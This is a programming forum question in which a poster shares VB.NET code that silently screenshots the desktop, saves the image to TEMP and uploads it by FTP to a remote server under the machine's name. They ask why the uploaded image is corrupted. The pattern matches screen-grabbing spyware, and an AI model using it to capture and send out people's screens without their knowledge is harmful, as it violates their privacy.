VB.net - Uploading image to FTP

Question

im trying to take a screenshot of my desktop and send it to my FTP server the screenshot gets saved in TEMP folder and then uploaded.

here is the FTP upload code

Public Sub FTPScreen(ByVal _FileName As String, ByVal _UploadPath As String, ByVal _FTPUser As String, ByVal _FTPPass As String)
        Try
            Dim _FileInfo As New System.IO.FileInfo(_FileName)

            ' Create FtpWebRequest object from the Uri provided
            Dim _FtpWebRequest As System.Net.FtpWebRequest = CType(System.Net.FtpWebRequest.Create(New Uri(_UploadPath)), System.Net.FtpWebRequest)

            ' Provide the WebPermission Credintials
            _FtpWebRequest.Credentials = New System.Net.NetworkCredential(_FTPUser, _FTPPass)

            ' By default KeepAlive is true, where the control connection is not closed
            ' after a command is executed.
            _FtpWebRequest.KeepAlive = False

            ' set timeout for 20 seconds
            _FtpWebRequest.Timeout = 20000

            ' Specify the command to be executed.
            _FtpWebRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile

            ' Specify the data transfer type.
            _FtpWebRequest.UseBinary = True

            ' Notify the server about the size of the uploaded file
            _FtpWebRequest.ContentLength = _FileInfo.Length

            ' The buffer size is set to 2kb
            Dim buffLength As Integer = 2048
            Dim buff(buffLength - 1) As Byte

            ' Opens a file stream (System.IO.FileStream) to read the file to be uploaded
            Dim _FileStream As System.IO.FileStream = _FileInfo.OpenRead()

            Try
                ' Stream to which the file to be upload is written
                Dim _Stream As System.IO.Stream = _FtpWebRequest.GetRequestStream()

                ' Read from the file stream 2kb at a time
                Dim contentLen As Integer = _FileStream.Read(buff, 0, buffLength)

                ' Till Stream content ends
                Do While contentLen <> 0
                    ' Write Content from the file stream to the FTP Upload Stream
                    _Stream.Write(buff, 0, contentLen)
                    contentLen = _FileStream.Read(buff, 0, buffLength)
                Loop

                ' Close the file stream and the Request Stream
                _Stream.Close()
                _Stream.Dispose()
                _FileStream.Close()
                _FileStream.Dispose()
            Catch ex As Exception

            End Try

and here is the method to upload the screenshot

Try
            Dim SnapDir As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\ScreenShot"
          ' save the screenshot to temp folder
            Dim screenshot As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim screengrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screengrab)
            g.CopyFromScreen(New Point(0, 0), New Point(0, 0), screenshot)


            screengrab.Save(SnapDir) ' screenshot saved






            FTPScreen(SnapDir, "ftp://ftp.morlza1.zz.mu/" & "2015" & My.Computer.Name, "user", "pass")

        Catch ex As Exception
            MsgBox(ex.Message)
        End Try
            Catch ex As Exception
            End Try
        End Sub

the screenshot does get saved to my temp folder and i can view it with no problem. but when i upload it to FTP. 2 things happen 1- the image size increases by 1 K 2- the image gets corrupt and it can't be viewed

i did include a try statement to check for any error for there is no error so its a code mistake i guess